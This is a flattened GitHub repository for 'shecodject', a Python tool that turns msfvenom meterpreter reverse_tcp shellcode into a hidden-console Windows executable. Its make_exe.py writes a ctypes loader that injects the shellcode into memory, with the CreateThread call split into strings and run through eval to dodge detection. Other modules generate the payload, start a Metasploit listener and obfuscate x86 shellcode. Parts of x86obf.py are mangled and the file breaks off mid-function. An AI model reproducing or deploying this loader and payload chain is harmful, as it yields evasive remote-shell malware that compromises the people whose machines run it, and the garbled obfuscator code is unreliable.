├── .gitignore ├── LICENSE ├── README.md ├── core ├── Menu.py ├── __init__.py └── ui.py ├── module ├── __init__.py ├── listener.py ├── make_exe.py ├── module.py ├── msfvenom.py ├── obfuscation.py ├── shellcode_path.py └── x86obf.py ├── setup └── setup.py └── shecodject.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | local_settings.py 56 | 57 | # Flask stuff: 58 | instance/ 59 | .webassets-cache 60 | 61 | # Scrapy stuff: 62 | .scrapy 63 | 64 | # Sphinx documentation 65 | docs/_build/ 66 | 67 | # PyBuilder 68 | target/ 69 | 70 | # Jupyter Notebook 71 | .ipynb_checkpoints 72 | 73 | # pyenv 74 | .python-version 75 | 76 | # celery beat schedule file 77 | celerybeat-schedule 78 | 79 | # SageMath parsed files 80 | *.sage.py 81 | 82 | # dotenv 83 | .env 84 | 85 | # virtualenv 86 | .venv 87 | venv/ 88 | ENV/ 89 | 90 | # Spyder project settings 91 | .spyderproject 92 | .spyproject 93 | 94 | # Rope project settings 95 | .ropeproject 96 | 97 | # mkdocs documentation 98 | /site 99 | 100 | # mypy 101 | .mypy_cache/ 102 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # shecodject (shellcode inject) 2 | shecodject is a autoscript for shellcode injection by Python3 programing 3 | 4 | Shecodject為shellcode inject的縮寫，是一個由python3編寫的工具，可將客製metasploit生成的raw檔直接使用pyinstaller封裝或是您也可使用本工具生成普通的raw檔再進行封裝。 5 | 6 | 使用ctypes模塊將shellcode注入到ram中，類似於客製shellcode的python自動化程序 7 | 8 | 近期(2020年04月)修改了封裝exe的模組，借用docker提供的pyinstaller鏡像完成封裝exe的工作，不再使用wine進行封裝。且不用擔心在Linux或是Mac系統下無法完成封裝exe 9 | 10 | obf shellcode混淆模塊目前還在修復中 11 | 12 | ![image](https://i.imgur.com/Xa5FpYu.png) 13 | 14 | # Basic Flow 15 | * Method 1 16 | 1. mpr 模塊產生普通raw檔 17 | 2. exe 模塊封裝 18 | * 產生exe檔於output目錄下 19 | 3. msf 模塊監聽 20 | * Method 2 21 | 1. msfvenom 產生raw檔 22 | 2. scc 模塊引入raw檔 23 | 3. exe 模塊封裝 24 | * 產生exe檔於output目錄下 25 | 4. msf 模塊監聽 26 | 27 | # Installation 28 | 29 | ``` 30 | $ git clone https://github.com/TaroballzChen/Shecodject.git 31 | $ cd Shecodject 32 | $ cd setup 33 | $ python3 setup.py 34 | ``` 35 | 36 | # Usage 37 | ``` 38 | $ python3 shecodeject.py 39 | ``` 40 | [![My video](http://i2.hdslb.com/bfs/archive/c3769df6013330e83c91b3954cc9306985f367da.jpg)](https://www.youtube.com/watch?v=0OFQ1fVopms) 41 | 42 | # Reference 43 | * https://github.com/TaroballzChen/shellcodeinject_regwrite_persistence/blob/master/reg_shellcode.py 44 | * https://github.com/Mr-Un1k0d3r/DKMC 45 | -------------------------------------------------------------------------------- /core/Menu.py: -------------------------------------------------------------------------------- 1 | class Menu: 2 | def __init__(self): 3 | self.options = [] 4 | self.options.append(('scc' , 'set custom msf_payload raw file path')) 5 | self.options.append(('mpr' , 'create common msf payload raw file')) 6 | self.options.append(('obf' , 'obfuscate code(only for common rev_tcp)')) 7 | self.options.append(('exe' , 'pack python_file to exe by pyinstaller')) 8 | self.options.append(('msf' , 'start listener with msf')) 9 | self.options.append(('exit', 'bye-bye')) 10 | self.allowinput=[option[0] for option in self.options] 11 | -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /core/ui.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | class color: 4 | def __init__(self): 5 | self.HEADER = '\033[95m' 6 | self.OKBLUE = '\033[94m' 7 | self.OKGREEN = '\033[92m' 8 | self.WARNING = '\033[93m' 9 | self.FAIL = '\033[91m' 10 | self.ENDC = '\033[0m' 11 | self.BOLD = '\033[1m' 12 | self.UNDERLINE = '\033[4m' 13 | 14 | Color=color() 15 | 16 | class UI: 17 | Version = "1.0" 18 | 19 | def __init__(self): 20 | pass 21 | 22 | def clearscreen(self): 23 | os.system('clear') 24 | 25 | def banner(self): 26 | self.clearscreen() 27 | print(r" __ __ __ ") 28 | print(r" /\ \ /\ \ __ /\ \__ ") 29 | print(r" ____\ \ \___ __ ___ ___ \_\ \ /\_\ __ ___\ \ ,_\ ") 30 | print(r" /',__\\ \ _ `\ /'__`\ /'___\ / __`\ /'_` \ \/\ \ /'__`\ /'___\ \ \/ ") 31 | print(r"/\__, `\\ \ \ \ \/\ __//\ \__//\ \L\ \/\ \L\ \ \ \ \/\ __//\ \__/\ \ \_ ") 32 | print(r"\/\____/ \ \_\ \_\ \____\ \____\ \____/\ \___,_\_\ \ \ \____\ \____\\ \__\'") 33 | print(r" \/___/ \/_/\/_/\/____/\/____/\/___/ \/__,_ /\ \_\ \/____/\/____/ \/__/") 34 | print(r' \ \____/ ') 35 | print(r' shecodject autoscript \/___/ ') 36 | print(r' __ by __ ') 37 | print(r' /\ \__ OneTeam Taroballz __ /\ \__ ') 38 | print(r' __ __ __\ \ ,_\ ___ ____ ___ _ __ /\_\ _____\ \ ,_\ ') 39 | print(r" /'__`\ /\ \/\ \\ \ \/ / __`\ /',__\ /'___\/\`'__\/\ \/\ '__`\ \ \/ ") 40 | print(r'/\ \L\.\_\ \ \_\ \\ \ \_/\ \L\ \/\__, `\/\ \__/\ \ \/ \ \ \ \ \L\ \ \ \_ ') 41 | print(r'\ \__/.\_\\ \____/ \ \__\ \____/\/\____/\ \____\\ \_\ \ \_\ \ ,__/\ \__\'') 42 | print(r' \/__/\/_/ \/___/ \/__/\/___/ \/___/ \/____/ \/_/ \/_/\ \ \/ \/__/') 43 | print(r' \ \_\ ') 44 | print(r' \/_/ ') 45 | 46 | def showmenu(self,options): 47 | print('select an options:',end='\n') 48 | for option in options: 49 | print('\t' + Color.OKBLUE + '[*]' + Color.ENDC,'%s \t---------> %s' % option ) 50 | else: 51 | print("-------------------------------------------------------------------------------") 52 | 53 | -------------------------------------------------------------------------------- /module/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /module/listener.py: -------------------------------------------------------------------------------- 1 | import os 2 | from module import Moduleobject 3 | 4 | class msflistener(Moduleobject): 5 | def __init__(self,ui): 6 | super(msflistener,self).__init__() 7 | self.ui=ui 8 | ui.banner() 9 | self.values={'source':'', 10 | 'IP':'', 11 | 'Port':'', 12 | 'payload':'', 13 | } 14 | 15 | def run_action(self): 16 | if self.values['source']: 17 | os.system('msfconsole -r %s'%self.values['source']) 18 | else: 19 | os.system('msfconsole -x "use multi/handler;set PAYLOAD %s;set LHOST %s;set LPORT %s;exploit -j -z"' 20 | % (self.values['payload'], 21 | self.values['IP'], 22 | self.values['Port'],)) 23 | -------------------------------------------------------------------------------- /module/make_exe.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | import random 4 | import shutil 5 | from module import Moduleobject 6 | 7 | class exe_options(Moduleobject): 8 | def __init__(self,ui): 9 | super(exe_options,self).__init__() 10 | self.ui=ui 11 | ui.banner() 12 | self.values={'source':'', 13 | 'outfile':'%s'%(time.strftime('%m%Y')+str(random.randint(0,100))+'.exe'), 14 | 'noconsole':False, 15 | } 16 | self.read_code = r'' 17 | self.outfile_dirpath = './output/' 18 | 19 | def script_code(self,shellcode): 20 | return (''' 21 | import ctypes 22 | 23 | code = ("%s") 24 | 25 | a = "ctypes.windll.kernel32.Creat" 26 | b = "eThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))" 27 | 28 | ptr = ctypes.windll.kernel32.VirtualAlloc(0, 4096, ctypes.c_int(0x1000), ctypes.c_int(0x40)) 29 | ctypes.windll.kernel32.VirtualLock(ctypes.c_int(ptr),ctypes.c_int(len(code))) 30 | byte = bytearray() 31 | byte.extend(map(ord,code)) 32 | buffer = (ctypes.c_char * len(code)).from_buffer(byte) 33 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buffer, ctypes.c_int(len(code))) 34 | ht = eval(a+b) 35 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))'''%shellcode) 36 | 37 | def read_shellcode(self,filename): 38 | with open (filename,'r') as shellcode: 39 | print('\033[92m' + '[*]' + '\033[0m''------> shellcode recorded <------') 40 | return str(shellcode.read()) 41 | 42 | def write_script(self,code): 43 | output_script_name = self.outfile_dirpath+self.values['outfile']+'.py' 44 | with open (output_script_name,'w') as code_write: 45 | code_write.write(self.script_code(shellcode=code)) 46 | print('\033[92m' + '[*]' + '\033[0m' + 'script was created succesfully ! ! ',end='\n') 47 | 48 | def generate_exe(self): 49 | if os.path.isfile(self.outfile_dirpath+self.values["outfile"]+".py"): 50 | if self.values["noconsole"] == False: 51 | command = 'cd output;pyinstaller %s.py --noup --onefile --clean;cd ..'%self.values["outfile"] 52 | else: 53 | command = 'cd output;pyinstaller %s.py --noup --onefile --noconsole --clean;cd ..'%(self.values["outfile"]) 54 | os.system(command) 55 | print('\033[92m'+'[*]'+'\033[0m'+'binary file was created succesfully ! ! ') 56 | 57 | 58 | def docker_pack(self,file): 59 | try: 60 | os.makedirs("./output/src") 61 | except FileExistsError: 62 | print("src is exist, ") 63 | shutil.move("./output/%s.spec"%file,"./output/src/") 64 | shutil.copy("./output/%s.py"%file,"./output/src/") 65 | os.system('cd output;cd src;docker run -v "$(pwd):/src/" cdrx/pyinstaller-windows:python3-32bit;cd ..;cd ..') 66 | shutil.copy("./output/src/dist/windows/%s"%file,"./output/") 67 | shutil.rmtree('./output/src') 68 | print('\033[92m' + '[*]' + '\033[0m' + 'exe file was created succesfully ! ! ') 69 | 70 | def clean_cache(self,file): 71 | shutil.rmtree('./output/build') 72 | shutil.rmtree('./output/dist') 73 | print('\033[92m' + '[*]' + '\033[0m' +"cache was cleaned") 74 | 75 | def run_action(self): 76 | self.read_code = self.read_shellcode(self.values['source']) 77 | time.sleep(2) 78 | self.write_script(code=self.read_code) 79 | time.sleep(2) 80 | print('-' * 50) 81 | self.generate_exe() 82 | time.sleep(1) 83 | self.docker_pack(self.values["outfile"]) 84 | time.sleep(2) 85 | self.clean_cache(self.values['outfile']) 86 | input('type any key to continue') 87 | -------------------------------------------------------------------------------- /module/module.py: -------------------------------------------------------------------------------- 1 | class Moduleobject: 2 | def __init__(self): 3 | self.allow=[] 4 | self.allow.append(("show","show module variables")) 5 | self.allow.append(('set', 'set value')) 6 | self.allow.append(('run', "run the module")) 7 | self.allow.append(('back','Go back')) 8 | 9 | def show_allowed(self): 10 | for command in self.allow: 11 | print('\t[*]%s\t----> %s'%command) 12 | 13 | def show_vars(self): 14 | print ('The value you have to set\n') 15 | for value,key in self.values.items(): 16 | print('\033[94m'+'[+]'+'\033[0m'+value.ljust(12,' ') +'>>>'.center(10,' ')+'%s'%key) 17 | 18 | def show_menu(self): 19 | self.show_vars() 20 | print('-'*50) 21 | print("Allow options:\n") 22 | self.show_allowed() 23 | print('-'*50) 24 | 25 | def input_allow_action(self,action): 26 | for allow_action in self.allow: 27 | if action in allow_action[0]: 28 | return True 29 | return False 30 | 31 | def exec_action(self,data): 32 | execute = data.split(' ',1)[0] 33 | if execute == "run": 34 | self.run_action() 35 | if execute == "set": 36 | self.set_action(data) 37 | if execute == "show": 38 | self.show_vars() 39 | 40 | def do_action(self,banner): 41 | exit_module_flag=False 42 | while not exit_module_flag: 43 | self.show_menu() 44 | action = input("operation >>> ") 45 | if action == 'back': 46 | exit_module_flag = True 47 | 48 | if self.input_allow_action(action.split(' ')[0]): 49 | self.exec_action(action) 50 | banner() 51 | else: 52 | banner() 53 | 54 | def set_action(self,vars): 55 | try : 56 | act,key,value = vars.split(' ',2) 57 | except: 58 | pass 59 | if key in self.values: 60 | self.values[key] = value 61 | else: 62 | print("Invalid variable") 63 | -------------------------------------------------------------------------------- /module/msfvenom.py: -------------------------------------------------------------------------------- 1 | import os 2 | import socket 3 | import time 4 | import random 5 | from module import Moduleobject 6 | import binascii 7 | import re 8 | 9 | class msf_origin_raw(Moduleobject): 10 | def __init__(self,ui): 11 | super(msf_origin_raw,self).__init__() 12 | self.ui=ui 13 | ui.banner() 14 | self.values={'IP':'%s'%self.get_lan_ip(), 15 | 'Port':'4444', 16 | 'payload':'reverse_tcp', 17 | 'tempfile':'%s'%(time.strftime('%m%Y')+'.tmp') 18 | } 19 | if os.path.isfile('./tmp/'+self.values['tempfile']): 20 | self.values['tempfile'] = self.values['tempfile'] + '_' + str(random.randint(1000,9999)) 21 | self.outraw='./tmp/msf_common_raw_%s_%s'%(time.strftime('%m%Y'),str(random.randint(0,100))) 22 | self.msfrc ='./tmp/msf_rc_%s_%s'%(time.strftime('%m%Y'),str(random.randint(0,100))) 23 | 24 | def get_lan_ip(self): 25 | soc = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 26 | soc.connect(("8.8.8.8", 80)) 27 | local_IP = soc.getsockname()[0] 28 | soc.close() 29 | return local_IP 30 | 31 | def decode_shellcode(self,file_path): 32 | with open(file_path, 'rb') as raw: 33 | shellcodec = binascii.hexlify(raw.read()) 34 | shellcode_hex_string = shellcodec.decode() 35 | for char in re.findall("..", shellcode_hex_string): 36 | with open('./tmp/' + self.values['tempfile'], 'a') as temp: 37 | temp.write("\\x" + char) 38 | else: 39 | print('\033[92m' + '[*]' + '\033[0m''------> shellcode readed <------') 40 | 41 | 42 | 43 | def generate_rc(self): 44 | with open (self.msfrc,'w') as console: 45 | console.write('\n'.join(['use exploit/multi/handler', 46 | 'set PAYLOAD windows/meterpreter/%s' %self.values['payload'], 47 | 'set LHOST %s' %self.values['IP'], 48 | 'set LPORT %s' %self.values['Port'], 49 | 'exploit -j -z',])) 50 | print('\033[92m' + '[*]' + '\033[0m' + '------> msfconsole_rc created <------') 51 | time.sleep(2) 52 | 53 | def run_action(self): 54 | os.system('msfvenom -p windows/meterpreter/%s LHOST=%s LPORT=%s -f raw > %s' 55 | %(self.values['payload'], 56 | self.values['IP'], 57 | self.values['Port'], 58 | self.outraw),) 59 | print('\033[92m'+'[*]'+'\033[0m'+'------> msfpayload created <------') 60 | time.sleep(2) 61 | self.decode_shellcode(self.outraw) 62 | time.sleep(2) 63 | self.generate_rc() 64 | input(" Type any key to Continue!!! ") 65 | 66 | if __name__ =='__main__': 67 | pass -------------------------------------------------------------------------------- /module/obfuscation.py: -------------------------------------------------------------------------------- 1 | import os 2 | import re 3 | import binascii 4 | import time 5 | import random 6 | from module import Moduleobject 7 | 8 | class obshellcode(Moduleobject): 9 | def __init__(self,ui): 10 | super(obshellcode,self).__init__() 11 | self.ui=ui 12 | ui.banner() 13 | self.values={'source':'', 14 | 'ob_output':'./tmp/ob_raw_%s_%s'%(time.strftime('%m%Y'),str(random.randint(0,100))), 15 | 'tempfile':'%s'%(time.strftime('%m%Y')+'.tmp'), 16 | 'range':'0-184', 17 | 'passes':'1', 18 | 'mixflow':'5', 19 | } 20 | if os.path.isfile('./tmp/'+self.values['tempfile']): 21 | self.values['tempfile'] = self.values['tempfile'] + '_' + str(random.randint(1000,9999)) 22 | 23 | def run_action(self): 24 | if os.path.isfile(self.values['source']): 25 | os.system('python3 ./module/x86obf.py -i %s -o %s -r %s -p %s -f %s' 26 | %(self.values['source'], 27 | self.values['ob_output'], 28 | self.values['range'], 29 | self.values['passes'], 30 | self.values['mixflow'],)) 31 | time.sleep(2) 32 | print('\033[92m'+'[*]'+'\033[0m'+'ob_shellcode raw file was created succesfully ! ! ') 33 | else: 34 | print('Error!!!') 35 | 36 | if os.path.isfile(self.values['ob_output']): 37 | with open (self.values['ob_output'],'rb') as raw: 38 | shellcodec = binascii.hexlify(raw.read()) 39 | shellcode_hex_string = shellcodec.decode() 40 | for char in re.findall("..",shellcode_hex_string): 41 | with open('./tmp/'+self.values['tempfile'],'a') as temp: 42 | temp.write("\\x" + char) 43 | else: 44 | time.sleep(2) 45 | print('\033[92m'+'[*]'+'\033[0m'+'------> shellcode readed <------') 46 | time.sleep(2) 47 | input(" Type any key to Continue!!! ") 48 | else: 49 | print('File Error!!!') -------------------------------------------------------------------------------- /module/shellcode_path.py: -------------------------------------------------------------------------------- 1 | import os 2 | import re 3 | import binascii 4 | import time 5 | import random 6 | from module import Moduleobject 7 | 8 | class shellcode(Moduleobject): 9 | def __init__(self,ui): 10 | super(shellcode,self).__init__() 11 | self.ui=ui 12 | ui.banner() 13 | self.values={'source':'', 14 | 'tempfile':'%s'%(time.strftime('%m%Y')+'.tmp') 15 | } 16 | if os.path.isfile('./tmp/'+self.values['tempfile']): 17 | self.values['tempfile'] = self.values['tempfile'] + '_' + str(random.randint(1000,9999)) 18 | 19 | def decode_shellcode(self,file_path): 20 | with open(file_path, 'rb') as raw: 21 | shellcodec = binascii.hexlify(raw.read()) 22 | shellcode_hex_string = shellcodec.decode() 23 | for char in re.findall("..", shellcode_hex_string): 24 | with open('./tmp/' + self.values['tempfile'], 'a') as temp: 25 | temp.write("\\x" + char) 26 | else: 27 | print('\033[92m' + '[*]' + '\033[0m''------> shellcode readed <------') 28 | 29 | def run_action(self): 30 | if os.path.isfile(self.values['source']): 31 | self.decode_shellcode(self.values['source']) 32 | input(" Type any key to Continue!!! ") 33 | else: 34 | print('File Not Found') -------------------------------------------------------------------------------- /module/x86obf.py: -------------------------------------------------------------------------------- 1 | import os, sys 2 | import argparse 3 | import distorm3 4 | import struct 5 | import random 6 | 7 | # constants 8 | 9 | R_EAX = 0 10 | R_ECX = 1 11 | R_EDX = 2 12 | R_EBX = 3 13 | R_ESP = 4 14 | R_EBP = 5 15 | R_ESI = 6 16 | R_EDI = 7 17 | 18 | # globals 19 | 20 | conf_min_steps = 1 21 | conf_max_steps = 5 22 | 23 | # classes 24 | 25 | class _instr: 26 | def __init__(self, bytes, size, is_data): 27 | self.bytes = bytes 28 | self.size = size 29 | self.label = -1 30 | self.jmp_label = -1 31 | self.is_data = is_data 32 | 33 | # functions 34 | 35 | def is_rel_jmp(bytes): 36 | if len(bytes) >= 2: 37 | b = ord(bytes[0]) 38 | bb = ord(bytes[1]) 39 | if (b & 0xf0) == 0x70 or (b >= 0xe0 and b <= 0xe3) or b == 0xe8 or b == 0xe9 or b == 0xeb or (b == 0x0f and (bb & 0x80) == 0x80): 40 | return True 41 | return False 42 | 43 | def get_jmp_bytes(bytes): 44 | b = ord(bytes[0]) 45 | bb = ord(bytes[1]) 46 | if (b & 0xf0) == 0x70 or (b >= 0xe0 and b <= 0xe3) or b == 0xeb: 47 | return 1 48 | elif b == 0xe8 or b == 0xe9 or (b == 0x0f and (bb & 0x80) == 0x80): 49 | return 4 50 | return 0 51 | 52 | def get_jmp_delta(bytes): 53 | dl = get_jmp_bytes(bytes) 54 | if dl == 1: 55 | d = ord(bytes[1]) 56 | if d >= 0x80: 57 | return (0x100-d)*(-1) 58 | else: 59 | return d 60 | elif dl == 4: 61 | fb = 1 62 | if ord(bytes[0]) == 0x0f: 63 | fb = 2 64 | d = int(bytes[fb:fb+4][::-1].encode('hex'), 16) 65 | if d > 0x80000000: 66 | return (0x100000000-d)*(-1) 67 | else: 68 | return d 69 | return 0 70 | 71 | def get_signed_int(imm, nbytes): 72 | if nbytes == 1: 73 | d = imm 74 | if d >= 0x80: 75 | return (0x100-d)*(-1) 76 | else: 77 | return d 78 | elif nbytes == 2: 79 | d = imm 80 | if d >= 0x8000: 81 | return (0x10000-d)*(-1) 82 | else: 83 | return d 84 | elif nbytes == 4: 85 | d = imm 86 | if d >= 0x80000000: 87 | return (0x100000000-d)*(-1) 88 | else: 89 | return d 90 | raise 91 | 92 | def get_rand_reg(exclude_regs): 93 | regs = range(R_EAX, R_EDI+1) 94 | for r in exclude_regs: 95 | if r in regs: 96 | regs.remove(r) 97 | if len(regs) > 0: 98 | return random.choice(regs) 99 | else: 100 | return -1 101 | 102 | def mod_jmp_delta(bytes, delta): 103 | ret_bytes = '' 104 | js = get_jmp_bytes(bytes) 105 | dm = 0 106 | 107 | if -128 <= delta <= 127: 108 | 109 | if js == 1: 110 | ret_bytes += bytes[0] 111 | ret_bytes += struct.pack('> 6 183 | rm = (ord(modrm) & 0x07) 184 | if mod==0: 185 | if rm==0x05: # 32-bit displacement only 186 | disp_bytes = 4 187 | elif mod==1: 188 | disp_bytes = 1 # disp8 189 | elif mod==2: 190 | disp_bytes = 4 # disp32 191 | 192 | if rm==0x04: 193 | sib_bytes = 1 194 | 195 | #print 'sib_bytes:', sib_bytes 196 | #print 'disp_bytes:', disp_bytes 197 | 198 | # sib 199 | if sib_bytes == 1: 200 | sib = bytes[fl] 201 | fl += 1 202 | 203 | # disp 204 | if disp_bytes > 0: 205 | disp = bytes[fl:fl+disp_bytes] 206 | fl += disp_bytes 207 | 208 | # imm 209 | imm = bytes[fl:] 210 | 211 | return prefix, opcode, modrm, sib, disp, imm 212 | 213 | # mov reg, imm 214 | def obf_gen_mov_reg_imm(reg, imm, nbytes): 215 | ret_bytes = '' 216 | if nbytes == 1: 217 | opcode = 0xb0 218 | else: 219 | opcode = 0xb8 220 | 221 | if nbytes == 2: 222 | ret_bytes += chr(0x66) 223 | ret_bytes += chr(opcode + reg) 224 | if nbytes == 1: 225 | ret_bytes += struct.pack(' 0: 258 | ret_bytes += chr(prefix) 259 | ret_bytes += chr(opcode) + chr(modrm) + chr(sib) 260 | return ret_bytes 261 | 262 | # mov reg, [reg*X+reg] 263 | def obf_gen_lea_reg_sib_reg(reg_dst, sib_base, sib_index, sib_scale): 264 | ret_bytes = '' 265 | opcode = 0x8d # lea r32, mem 266 | modrm = (reg_dst << 3) + 0x04 # sib mode 267 | sib = sib_base + (sib_index << 3) + (sib_scale << 6) 268 | ret_bytes += chr(opcode) + chr(modrm) + chr(sib) 269 | return ret_bytes 270 | 271 | # mov [esp+disp], reg 272 | def obf_gen_mov_esp_disp_reg(disp, reg_src): 273 | ret_bytes = '' 274 | opcode = 0x89 # mov mem, reg 275 | if -128 <= disp <= 127: 276 | nbytes = 1 277 | modrm = 0x01 << 6 278 | else: 279 | nbytes = 4 280 | modrm = 0x02 << 6 281 | modrm += (reg_src << 3) + 0x04 # sib mode 282 | sib = (R_ESP << 3) + R_ESP # [esp] 283 | 284 | ret_bytes += chr(opcode) + chr(modrm) + chr(sib) 285 | if nbytes == 1: 286 | ret_bytes += chr(disp) 287 | elif nbytes == 4: 288 | ret_bytes += struct.pack('> 3 420 | if modrm & 0x07 == 0x04: # sib present 421 | sib = ord(i.bytes[fl+2]) 422 | reg_src = (sib & 0x07) 423 | reg_index = (sib & 0x38) >> 3 424 | reg_scale = (sib & 0xc0) >> 6 425 | if disp_bytes == 1: 426 | disp = get_signed_int(ord(i.bytes[fl+3]), 1) 427 | elif disp_bytes == 4: 428 | disp = int(i.bytes[fl+3:fl+3+4][::-1].encode('hex'), 16) 429 | else: 430 | reg_src = (modrm & 0x07) 431 | if disp_bytes == 1: 432 | disp = get_signed_int(ord(i.bytes[fl+2]), 1) 433 | elif disp_bytes == 4: 434 | disp = int(i.bytes[fl+2:fl+2+4][::-1].encode('hex'), 16) 435 | 436 | #print 'reg_dst:', reg_dst, 'reg_src:', reg_src, 'disp:', disp, 'reg_index:', reg_index, 'reg_scale:', reg_scale 437 | 438 | exc_regs = [reg_dst, reg_src, R_ESP, R_EBP] 439 | if reg_index >= 0: 440 | exc_regs.append(reg_index) 441 | 442 | treg = get_rand_reg(exc_regs) 443 | #print 'treg:', treg 444 | if treg == -1: 445 | raise 446 | 447 | cimm, il = obf_gen_reg_calc(treg, disp, random.randint(conf_min_steps, conf_max_steps), 4) 448 | lbl = i.label 449 | 450 | shell_delete_bytes(sl, ni) 451 | shell_insert_bytes(sl, ni, obf_gen_push_reg(treg), lbl) 452 | 453 | shell_insert_bytes(sl, ni+1, obf_gen_mov_reg_imm(treg, cimm, 4)) 454 | iadd = 1 455 | of = ni+2 456 | for l in il: 457 | shell_insert_bytes(sl, of, l) 458 | of += 1 459 | iadd += 1 460 | 461 | if reg_index >= 0 and reg_scale >= 0: 462 | shell_insert_bytes(sl, of, obf_gen_lea_reg_sib_reg(treg, treg, reg_index, reg_scale)) 463 | of += 1 464 | iadd += 1 465 | shell_insert_bytes(sl, of, obf_gen_mov_reg_reg_disp(reg_dst, reg_src, treg, reg_bytes, prefix)) 466 | shell_insert_bytes(sl, of+1, obf_gen_pop_reg(treg)) 467 | iadd += 2 468 | iadd += 1 469 | return iadd 470 | 471 | def obf_push_imm(sl, ni): 472 | imm = 0 473 | i = sl[ni] 474 | 475 | if ord(i.bytes[0]) == 0x6a: # push imm8 476 | imm = ord(i.bytes[1]) 477 | elif ord(i.bytes[0]) == 0x68: # push imm32 478 | imm = int(i.bytes[1:1+4][::-1].encode('hex'), 16) 479 | 480 | exc_regs = [R_ESP, R_EBP] 481 | treg = get_rand_reg(exc_regs) 482 | 483 | cimm, il = obf_gen_reg_calc(treg, imm, random.randint(conf_min_steps, conf_max_steps), 4) 484 | lbl = i.label 485 | 486 | shell_delete_bytes(sl, ni) 487 | shell_insert_bytes(sl, ni, obf_gen_push_reg(get_rand_reg([])), lbl) 488 | shell_insert_bytes(sl, ni+1, obf_gen_push_reg(treg)) 489 | 490 | shell_insert_bytes(sl, ni+2, obf_gen_mov_reg_imm(treg, cimm, 4)) 491 | iadd = 2 492 | of = ni+3 493 | for l in il: 494 | shell_insert_bytes(sl, of, l) 495 | of += 1 496 | iadd += 1 497 | 498 | shell_insert_bytes(sl, of, obf_gen_mov_esp_disp_reg(4, treg)) 499 | shell_insert_bytes(sl, of+1, obf_gen_pop_reg(treg)) 500 | iadd += 2 501 | iadd += 1 502 | return iadd 503 | 504 | def obf_oper_reg_imm(sl, ni): 505 | imm = 0 506 | iadd = 0 507 | i = sl[ni] 508 | 509 | _prefix, _opcode, _modrm, _sib, _disp, _imm = parse_instr_bytes(i.bytes) 510 | 511 | exc_regs = [R_ESP, R_EBP] 512 | if len(_imm) == 1: 513 | exc_regs.append(R_ESI) 514 | exc_regs.append(R_EDI) 515 | 516 